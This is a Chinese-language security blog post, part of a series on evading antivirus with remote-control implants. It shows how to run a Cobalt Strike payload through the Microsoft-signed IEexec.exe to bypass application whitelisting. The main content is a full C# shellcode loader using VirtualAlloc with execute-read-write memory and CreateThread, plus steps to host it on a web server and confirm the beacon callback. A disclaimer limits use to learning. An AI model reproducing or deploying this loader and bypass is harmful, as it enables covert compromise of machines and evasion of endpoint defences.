远控免杀专题(46)-白名单IEexec.exe执行payload(VT免杀率25-69)
2020-03-14 18:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:228 收藏

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。可以将IEExec.exe应用程序用作主机,以运行使用URL启动的其他托管应用程序。

IEexe.exe在64位系统路径为:C:\Windows\Microsoft.NET\Framework64\v2.0.50727

我们先使用CS生成监听上线的C#payload(注意我们要生成64位的shellcode)。

![99e48d57-9e7b-48fe-839d-f1a2c13033be.png]

然后将我们使用VS创建一个C#控制台程序。

![bf0b42d4-4a5f-4bbf-a8e2-066ef75c6bec.png]

编写如下代码(namespace别忘记修改为自己的),然后将CS生成的payload填写到下面代码的数组中。

using System;using System.Runtime.InteropServices;namespace testIEexec{    class Program    {        private static UInt32 MEM_COMMIT = 0x1000;        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;        private static UInt32 MEM_RELEASE = 0x8000;        public static void Main(string[] args)        {            // 替换下面数组中的内容            byte[] proc = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00,............. };            UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);            Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length);            IntPtr hThread = IntPtr.Zero;            UInt32 threadId = 0;            // prepare data             PROCESSOR_INFO info = new PROCESSOR_INFO();            IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));            Marshal.StructureToPtr(info, pinfo, false);            // execute native code             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);            WaitForSingleObject(hThread, 0xFFFFFFFF);            // retrive data             info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));            Marshal.FreeHGlobal(pinfo);            CloseHandle(hThread);            VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);        }        [DllImport("kernel32")]        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);        [DllImport("kernel32")]        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);        [DllImport("kernel32")]        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);        [DllImport("kernel32")]        private static extern bool CloseHandle(IntPtr handle);        [DllImport("kernel32")]        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);        [DllImport("kernel32")]        private static extern IntPtr GetModuleHandle(string moduleName);        [DllImport("kernel32")]        private static extern UInt32 GetProcAddress(IntPtr hModule, string procName);        [DllImport("kernel32")]        private static extern UInt32 LoadLibrary(string lpFileName);        [DllImport("kernel32")]        private static extern UInt32 GetLastError();        [StructLayout(LayoutKind.Sequential)]        internal struct PROCESSOR_INFO        {            public UInt32 dwMax;            public UInt32 id0;            public UInt32 id1;            public UInt32 id2;            public UInt32 dwStandard;            public UInt32 dwFeature;            // if AMD             public UInt32 dwExt;        }    }}

编译生成exe,然后部署到我们的web服务器上,例如我这里使用的是phpstudy。

使用管理员身份打开cmd,分别运行下面两条命令。

这里的文件路径自己替换为自己部署的exe的路径即可。

可发现CS已成功上线,程序成功执行,执行程序的pid为17116。

系统任务管理器中pid 为17116的程序名称。

虽然此方法的免杀率不是特别的高,但是在很多情况下,即使主机处于仅受信任的应用程序可以运行的模式下,IEexex.exe在某些情况下也可以绕过白名单,因为它可能是受信任的二进制文件,并带有Microsoft签名。

《Application Whitelist Bypass using IEexec.exe》:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

E

N

D

guān

zhù

men

Tide安全团队正式成立于2019年1月是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247486094&idx=1&sn=1b54d04bd74b77987260befb99646aa1&chksm=ce5e28eff929a1f9d129c91b91106d98ca4cf4371faf26736f93be9d06319a59cb17e923665c#rd
如有侵权请联系:admin#unsafe.sh